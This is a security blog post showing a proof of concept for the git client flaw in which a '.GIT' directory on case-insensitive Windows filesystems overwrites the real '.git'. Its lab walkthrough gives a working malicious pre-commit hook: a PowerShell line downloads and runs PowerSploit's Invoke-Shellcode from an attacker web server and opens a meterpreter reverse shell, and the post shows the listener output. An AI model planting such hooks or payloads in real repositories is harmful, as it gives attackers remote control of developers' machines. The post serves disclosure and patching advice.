Blog: How-Tos
Pwning git: A Proof of Concept (PoC)
When the git bug struck I was stuck in a data centre with little chance to test it out. When I finally escaped I did the PoC described below and wrote it up. It was after this was submitted for publishing that it was pointed out to me that Mehmet Ince had already posted a PoC on 19/12/2014 . He used a slightly different payload and a different hook; but the basic technique is the same.
Last week a rather dangerous oversight, or, as code reviewers, say “a cock-up”, was found in the git client; as described by my colleague Pedro.
Looking through the description of the flaw I thought it may be easy to make a simple PoC that could potentially be used for an attack if a git repository can be found that allow pushes. Whilst here I’ll just point out that you shouldn’t all rush off to attempt this on the big Internet repos, like Github: they’ve already put hooks in to stop this being exploited. Private repos are a different matter.
The flaw
To recap, the issue was to do with case sensitivity in filenames, git was originally designed as a code versioning system to manage the Linux kernel. As such it was designed expecting filenames to be case sensitive, i.e. “fred” is a totally different file from “FRED”.v
Now Git has been ported to all sorts of common operating systems, including Windows, which uses NTFS which is case insensitive, but case preserving, i.e. “fred” is the same file as “FRED”, but the stored filename will retain its original case.
The problem is that the client didn’t expect case insensitivity, so if it the repo has files called “jim” and “JIM” on a Windows system, the file “JIM” would overwrite the file “jim”.
This is a bit of a pain, but doesn’t cause much of a security problem; except that this allows the bypassing of its check to stop overwriting of the git working directory: “.git”. So, if you have a repo set up with a directory “.GIT” this would overwrite the files in the git working directory.
The working directory includes a number of things, including “pure” copies of all the files (which I’ve abused earlier), the local configuration file “config” and a set of programmatic controls or “hooks”.
So, the flaw is that we can overwrite the configuration file and execute code by mangling different cases.
Exploiting it
I’m going to exploit this. We’re going to assume that we’ve already found a git repository that we’ve got commit access to. To replicate this I set one up on a test virtual machine and populated it with a test file.
To save confusion, all hosts have been given RFC 1178 compliant hostnames and listed below:
Hostname | Operating System | Use |
asphodel | Kali Linux | git repository, and my metasploit server |
tartarus | Windows 7 | the developer workstation |
jotunheim | Fedora Linux | the attacker’s workstation |
I could’ve split up asphodel, but I had the virtual machines already set up and I’m lazy. My first step is to check out the repo on a Linux (or any other system with a case sensitive file system):
Cloning into ‘dodgy-repo’…
git@asphodel’s password:
remote: Counting objects: 20, done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 20 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (20/20), done.
[dave@jotunheim ~]$ ls -al dodgy-repo/
total 16
drwxrwxr-x 3 dave dave 4096 Dec 23 21:45 .
drwx——. 80 dave dave 4096 Dec 23 21:45 ..
drwxrwxr-x 8 dave dave 4096 Dec 23 21:45 .git
-rw-rw-r– 1 dave dave 41 Dec 23 21:45 test.txt
As you can see at the end we have the file in the repo “test.txt” and the git working directory “.git” which is created automatically.
Now we can set up for the attack, but first we need to have an idea of what we’re going to do. Our goal is to get a remote shell on the developer’s host (tartarus).
A Quick Aside – Setting up the Shell
As I’m lazy and I want to do the minimal amount of work to get a remote shell I’m going to reuse a tactic that I’ve used many times before on Windows workstations:
- Set up a web server running on port 80/tcp
- Use this to host PowerSploit https://github.com/mattifestation/PowerSploit
- Set up a Metasploit reverse_https on port 443/tcp
- Use a Powershell command line to pull down PowerSploit and use this to spawn its internal meterpreter client and connect back to my meterpreter listener
This sounds a bit convoluted and I can hear you asking “why don’t you just use a standalone executable”? There’s two reasons: one, I’d need to get the executable onto the host, which requires a transport mechanism (yes I could use the web-server) and that the above technique is all in memory which means that it is unlikely to be picked up by anti-virus software.
The first step simply requires us checking out the PowerSploit repo from github into our web root: (the example below uses nginx, but it can work with any web server):
git clone https://github.com/mattifestation/PowerSploit ps
rm –rf ps /.git ps/.gitignore
Then, start up the web server:
And the Metasploit listener:
This will all be exploited by a pretty standard call to PowerShell, which’ll download PowerSploit, and then execute its internal version of meterpreter:
Now we’re in a state where we can sit and listen for stuff to come in.
Priming the repo
Right, we have a vulnerability, we have a listener, all we need to do is exploit it.
We going to create a file in .git, from here we have a couple of choices of what we can exploit:
.git/config
This is the local configuration file from where we have a couple of core options we can set to manipulate code, such as:
- core.path – the path used to search for executables
- core.editor – the executable used to edit text files, e.g. for commits
- core.pager – the executable used to break up files interactively, e.g. for the git log
My first PoCs used core.editor, but this didn’t quite do what I wanted, as it required the mark to execute stuff in exactly the right way (make a commit with no comment), which was useful, but less likely to be exploited.
So I moved onto the second choice…
.git/hooks
Git, like most complex multiuser systems allows a mechanism for its code to break away from its normal execution flow and run some local custom logic. This is great for flexibility and perform stuff like integrity checks, but leaves a nice place to inject our dodgy stuff in.
The git hooks are all written in bash, even on Windows (hmmm… I wonder whether they are vulnerable to shellshock?) and are named after the hook they present. The one I’m interested in is called ‘pre-commit’, which runs as soon as a “git commit” command is issued.
So, on jotunheim we add our dodgy .GIT directory and create a hooks/pre-commit script to run our PowerShell scriptlet (above):
[dave@jotunheim dodgy-repo]$ mkdir -p .GIT/hooks
[dave@jotunheim dodgy-repo]$ vi .GIT/hooks/pre-commit
#!/usr/bin/shpowershell “IEX (New-Object Net.WebClient).DownloadString(‘http://asphodel/ps/CodeExecution/Invoke-Shellcode.ps1’); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -lhost asphodel -lport 443 -Force” &
exit 0
[dave@jotunheim dodgy-repo]$ git add .GIT/hooks/pre-commit
[dave@jotunheim dodgy-repo]$ git commit -m “Adding new stuff”
[master eb18c9f] Adding new stuff
1 file changed, 5 insertions(+)
create mode 100644 .GIT/hooks/pre-commit
[dave@jotunheim dodgy-repo]$ git push
git@asphodel’s password:
Counting objects: 6, done.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (5/5), 539 bytes, done.
Total 5 (delta 0), reused 0 (delta 0)
To git@asphodel:dodgy-repo
640bb56..eb18c9f master -> master
[dave@jotunheim dodgy-repo]$
Exploitation
We’ve primed the pie, so all we need if for out mark to try and commit a change on their local repo. To speed this up, I’m going to pretend to be them and go onto jotunheim, update the local instance and commit a change:
C:\Users\dave\dodgy-repo>git pull
git@asphodel’s password:
remote: Counting objects: 6, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 5 (delta 0), reused 0 (delta 0)
Unpacking objects: 100% (5/5), done.
From asphodel:dodgy-repo
640bb56..eb18c9f master -> origin/master
Updating 640bb56..eb18c9f
Fast-forward
.GIT/hooks/pre-commit | 5 +++++
1 file changed, 5 insertions(+)
create mode 100644 .GIT/hooks/pre-commit
C:\Users\dave\dodgy-repo>git commit
On branch master
Your branch is up-to-date with ‘origin/master’.nothing to commit, working directory clean
C:\Users\dave\dodgy-repo>
That’s what the developer would see. Looks fine doesn’t it? There’s a mention of the pre-commit after the git pull, but we can mask that with lots of commits; and it’s likely the developer won’t even see it, or understand what it means.
Meanwhile, on out meterpreter listener we get the following output as soon as the “git commit” command is issued:
[*] tartarus:13829 Staging connection for target /INITM received…
[*] Patched user-agent at offset 664168…
[*] Patched transport at offset 663832…
[*] Patched URL at offset 663896…
[*] Patched Expiration Timeout at offset 664768…
[*] Patched Communication Timeout at offset 664772…
[*] Meterpreter session 1 opened (asphodel:443 -> tartarus:13829) at 2014-12-23 22:29:01 +0000
meterpreter > sysinfo
Computer : TARTARUS
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_GB
Meterpreter : x86/win32
PWNED! I’m in your developer serverz hacking your networkz!
Conclusion
I say this a lot, and the message won’t change: patch, especially your third party software. Ensure that all used software in your CMDB (if you don’t have one, make one) is monitored regularly for security patches; even the most innocent seeming applications can have security flaws which may give me a toehold into your network!